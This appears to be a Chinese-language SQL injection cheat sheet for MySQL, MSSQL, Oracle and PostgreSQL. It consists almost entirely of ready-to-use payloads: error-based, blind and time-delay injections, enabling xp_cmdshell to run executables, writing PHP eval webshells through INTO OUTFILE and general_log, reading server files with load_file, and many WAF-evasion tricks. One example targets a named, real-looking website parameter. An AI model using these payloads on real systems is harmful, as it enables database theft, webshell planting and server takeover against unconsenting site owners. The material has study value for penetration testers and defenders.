https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c
报错注入语句
GTID_SUBSET
字符串
字符型:1) and GTID_SUBSET(concat(char(126),(database())),5201)-- test
数字型:1 and GTID_SUBSET(concat(char(126),(database())),5201)-- test
布尔盲注语句
mysql布尔:
数字型(最基础): 1 and 1=1 但是大概率and &&等符号会被waf拦截,那么可以采用如下payload
1-if(1=1,exp(710),1) 或者 1-if(1=2.1,exp(709)),如果存在注入,exp(710),mysql会报错导致服务器报错,而exp(709)会正常
举个栗子,如下图 code=-6763-if(1=1,exp(710),1)
如下图 code=-6763-if(1=1,exp(709),1)
紧接着我们判断存在注入之后就要查数据,
http://www.csshangmao.com/ygfw/?code=-6763 OR 3854=3854
http://www.csshangmao.com/ygfw/?code=-6763-if(1=1,1,exp(710))
延时注入语句
#mssql延时(堆叠):
123'; waitfor delay '0:0:6' --+
waitfor delay '0:0:6' --+
堆叠注入(有回显)
无回显的堆叠注入就按照延时注入的方式判断即可
有回显
mssql:
1';select 1/@@version-- test 和正常的注入一样了 1/db_name(),1-Uesr,1/user
排序注入
在SQL语句中有asc和desc的出现,他们的作用是对某个标签按照从小到大或者从大到小排序,如果我们请求包中发现了asc和desc,我们可以尝试在后面增加内容判断SQL注入
在mysql当中,如果select 1/0,虽然会警告,但依旧会返回正常内容,但是在oracle中,1/0会报错,并不能返回,相当于一个变种的报错判断
例如&dir=asc,exp(709)
&dir=asc,1/decode(ascii(substr(user,1,1))=1,1,0);
数据查询语句
mysql:
'||if(substr(database(),1,1)='x',1,exp(710))||'
||if(substr(database(),1,1)='x',1,exp(710))||
"||if(substr(database(),1,1)='x',1,exp(710))||"
也就是user()的第1位如果是x那么正常,反之报错
数字型布尔盲注:
||ascii(if(substr(database(),1,1))=10,1,exp(710))||
SQL注入拿shell
通过SQL注入拿shell一般就是两种方式:
1.利用命令执行函数
利用命令执行函数(部分数据库有反弹shell函数,比如mysql中的backshell函数):
mysql:sys_exec,sys_eval 也是在利用mysql提权时利用到的函数
mssql:xp_cmdshell(利用sp_oacreate函数开启)
实际操作就是利用堆叠注入执行sql命令,开启对应的udf开关和xp_cmdshell开关执行,这里mssql:
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
# 执行以下路径的exe
exec master..xp_cmdshell 'c:/aa.exe'
# 这里额外说一下,如果waf对利用sqlmap开启xp_cmdshell,以及命令执行存在waf,那么需要自己手工执行命令绕过,如下
/pen/news.php?id=1;exec(master..xp_cmdshell 'net user') #对xp_cmdshell,master关键字拦截
/pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
whoami //正常执行
w"h"o"a"m"i //正常执行
w"h"o"a"m"i" //正常执行
wh""o^a^mi //正常执行
wh""o^am"i //正常执行
((((Wh^o^am""i))))//正常执行
具体看我RCE绕过这篇文章。。。
2.具备写文件的作用,写入webshell
~~~
###### Union select 写入
into outfile / into dumpfile写文件
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
```sql
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
```
###### 利用分隔符写入
注入点为盲注或报错,可以通过分隔符写入
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
```sql
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
```
```sql
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
```
###### 利用log写入
新版本的`MySQL`设置了导出文件的路径,很难在获取`Webshell`过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改`MySQL`的`log`文件来获取`Webshell`。
具体权限要求:数据库用户需具备`Super`和`File`服务器权限、获取物理路径。
```sql
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式
```
###### 其他:load_file读文件
load_file()读文件
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
1.路径使用\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)
#### waf绕过
###### 架构层绕WAF
1. 找到真实ip地址访问
2. 通过别的主机打入内网/网段,在内网/网段中访问
###### 资源限制角度绕WAF
使用POST请求,对服务器请求很大资源逃逸sql注入语句
###### 协议层面绕过WAF
(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型
(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf
(3)参数污染:有的waf仅对部分内容进行过滤
index.php?id=1&id=2
###### 规则层面绕过
某些数据库或者waf独有,比如asp的网站可用%%加在中间;mysql中的内联注释,注释;加密解密,大小写,等价函数替换,双写;
###### 关键字替换
比如在mysql中,waf将sleep()函数列入了黑名单,可以通过具备相同功能的benchmark()函数来实现绕过
< > 等价于 BETWEEN = 等价于 like Hex() bin() 等价于ascii() Sleep() 等价于 benchmark() Mid()substring() 等价于 substr() @@user 等价于 User() @@Version 等价于 version() (mysql支持&& || ,oracle不支持 && ||)
###### 2.特殊符号
原理:结合不同数据库的特性来实现绕过。(最好是可以找到waf开发者都不了解的某些特性),以下是两个广为流传的小特性
比如 "+" select+password+from+mysql.user 相当于是一个空格的作用
"'"放在mysql的末尾会起到注释符的作用
###### 3.编码
可以结合各种编码方式来绕过,比如url编码,url双重编码,十六进制编码,unicode编码,数据库编码等。
举个栗子:mysql默认的字符集是latin,因此在php代码里面设置的字符集为 utf-8,这只是客户端的字符集,因此存在字符集装换的问题utf-8—>latin,若传进来的字符集不是完整的字符,则会导致不完整的字符自动会忽略的问题,比如username=admin%c2 , 由于%c2不是一个完整的utf-8字符 因此传到Mysql 里面 自动忽略了,导致查出的是admin用户的数据,可以利用这个特性绕过
###### 4.注释符
/*xxx*/是注释,也可以充当空白符。因为 /**/可使得MySQL对sql语句(union/**/select)词法解析成功。事实上许多WAF都考虑到/**/可以作为空白分,但是waf检测 “/*.**/”很消耗性能,工程师会折中,可能在检测中间引入一些特殊字符,例如:/*w+*/。或者,WAF可能只中间检查n个字符“/*.{,n}*/”。根据以上想法,可以逐步测试绕过方法:
先测试最基本的:union/**/select再测试中间引入特殊字:union/*aaaa%01bbs*/select最后测试注释长度:
union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select
###### 5.空白符绕过
mysql中有一堆特殊的url编码在mysql命令行中是以空格方式表示:比如%0a,%a0,%0C。
基于正则表达式的WAF, SQL注入规则使用正则表达式的“s”匹配空格,例如”selects+union”。
利用空白符进行绕过,测试WAF时尽可能减少其他原因的影响,例如”union select”被拦截,只需把中间空白符替换为”%250C”, “%25A0”进行绕过测试
union%250Cselect
union%25A0select
函数分隔符对基于正则表达式的WAF,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。例如匹配函数”concat()”的规则写法,“concat(”或者”concats*(”,就没有考虑到一些特殊字符
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
###### 6.浮点数词法解析
利用MySQL解析浮点数的特点,正则表达式无法匹配出单词union,但是MySQL词法解析成功解析出浮点数、sql关键字union
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
###### 7.报错注入
Error-based的SQL注入函数非常容易被忽略,导致WAF规则过滤不完整。常见的函数
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((selectfrom(selectfrom(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
### 数据库种类
##### Access注入
只有一个数据库,里面存放很多表
[](https://imgtu.com/i/bT1L9S)
##### MSSQL注入
这里只要测试下面语句成功执行,那么放进sqlmap跑就行了
~~~sql
查询版本
1' and @@version>0--
查询权限
1' and user>0--
Mysql注入5.0以下
同access注入
少见的注入点
搜索框注入
1' and '1%'='1//返回正确的搜索结果
1' and '1%'='2//没有返回搜索结果
1' and '1%'='1//返回正确的搜索结果
1' and '1%'='2//没有返回搜索结果
其他点注入
Client-IP User-Agent
如果上传不成功,有三种原因
第一是mysql高版本的安全模式,secure_file_priv的值为null。
第二种是secure_file_priv指定了某个目录才可以上传,根目录不允许上传,那么可以尝试往upload目录上传
第三种是secure_file_priv的值为空或者指定了某个目录,但是上传后的文件为空,没有内容写进去。那么可能是limit的前面语句为False,导致limit后面的语句没有执行。加上 or 1=1即可
第一种情况:进入--sql-shell
show global variables like '%secure%';
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,那就无法写入马
第二种情况:
往upload等其他目录上传,不要往根目录上传
第三种情况:
如果secure_file_priv的值为空也写不进去,那就尝试手动写入,使用--proxy "http://127.0.0.1:8080",burp抓到包后,手动写入。limit语句前面加上or '1'='1'
%5c,%bf', 单引号,双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!
注意:(-- )一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
注释符# --+交替用,一个不行,就另一个
1、先判断是数字型还是字符型,如果判断不出来跳到9
2、接着判断有没有括号
3、最后面跟上--+注释符
4、order by判断字段数,如果没法判断,则直接union select 1,2,3一个个测试过去
5、如果返回的页面发生变化,则联合查询
6、如果union select 1,version(),3返回的页面没有发生变化,即联合查询失败,则尝试报错注入
7、如果报错注入页面也没有把信息显示出来,则延时注入
8、如果延时注入也不行,则导入导出
9、尝试延时注入,如果从1过来的,则三种情况,直接跟payload,参数后面加单引号或者双引号
Payload
# 布尔
# 延时, 如果过了5秒才显示页面,则存在注入
mysql: BENCHMARK(100000,MD5(1)) or sleep(5)
id=1' and sleep( if( (select length(database()) >0) , 5, 0 ) )%23
id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 如果数据库的第一位不是s则延迟5秒才反应
id=1' or sleep(ord(substr(password,1,1))) --
id=1'XOR(sleep(if((select length(database()) >6),0,5)))XOR'Z
id=1'and (SELECT 1 FROM (SELECT(SLEEP(5)))Gbqj) --+
id=1'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))ibEg)/**/AND/**/' 这个语句绝对ok
Referer:1'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
ua:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
x-forw:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
mssql: id=1' WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1';WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1');WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1" WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1";WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1");WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1' or 51 = '49'; WAITFOR DELAY '0:0:5'--+ 这个语句绝对ok
id=1' AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' --+
id=1' if 1=1 waitfor delay '0:0:5' else waitfor delay '0:0:0'--+
',0)if 9527=9528-2 waitfor delay'0:0:5'--+
if (system_user!='sa') waitfor delay '0:0:5' --+ 这个语句绝对ok
WHILE 2>1 PRINT 1----
/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
/***/WAITFOR/***/DELAY/***/'0:0:10'--+
;WAITFOR/***/DELAY/***/'0:0:10'--+
);WAITFOR/***/DELAY/***/'0:0:10'--+
'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
'/***/WAITFOR/***/DELAY/***/'0:0:10'--+
';WAITFOR/***/DELAY/***/'0:0:10'--+
');WAITFOR/***/DELAY/***/'0:0:10'--+
"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
"/***/WAITFOR/***/DELAY/***/'0:0:10'--+
";WAITFOR/***/DELAY/***/'0:0:10'--+
");WAITFOR/***/DELAY/***/'0:0:10'--+
Postgresql PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
# 报错注入,爆数据库版本
以下payload都是数字型,如果是字符型,就在1后面添加单引号或者双引号
id=1+and (select 1 from(select count(*),concat(0x5e5e5e,version(),0x5e5e5e,floor(rand(0)*2))x from information_schema.character_sets group by x)a)--+
id=1 and (select 1 from (select count(*),concat(0x5e,version(),0x5e,floor(rand(0)*2))b from information_schema.tables group by b)a)
id=1 union select count(*),1,concat(0x5e5e5e,version(),0x5e5e5e,floor(rand(0)*2))x from information_schema.tables group by x --+ 使用联合的时候,要注意select的字段数量,该语句是3个,count,1,concat
id=1+and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
id=1+and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
id=1+and geometrycollection((select * from(select * from(select user())a)b))--+
id=1+and multipoint((select * from(select * from(select user())a)b))--+
id=1+and polygon((select * from(select * from(select user())a)b))--+
id=1+and multipolygon((select * from(select * from(select user())a)b))--+
id=1+and linestring((select * from(select * from(select user())a)b))--+
id=1+and multilinestring((select * from(select * from(select user())a)b))--+
id=1+and exp(~(select * from(select user())a))--+
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--+
MSSQL: /?param=1 and(1)=convert(int,@@version)--+
Sybase: /?param=1 and(1)=convert(int,@@version)--+
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select --+
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--+
Oracle报错注入
' AND 1932=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1932=1932) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'mgBW'='mgBW
如果sqlmap跑不出,则加参数--level 5 --risk 3
risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。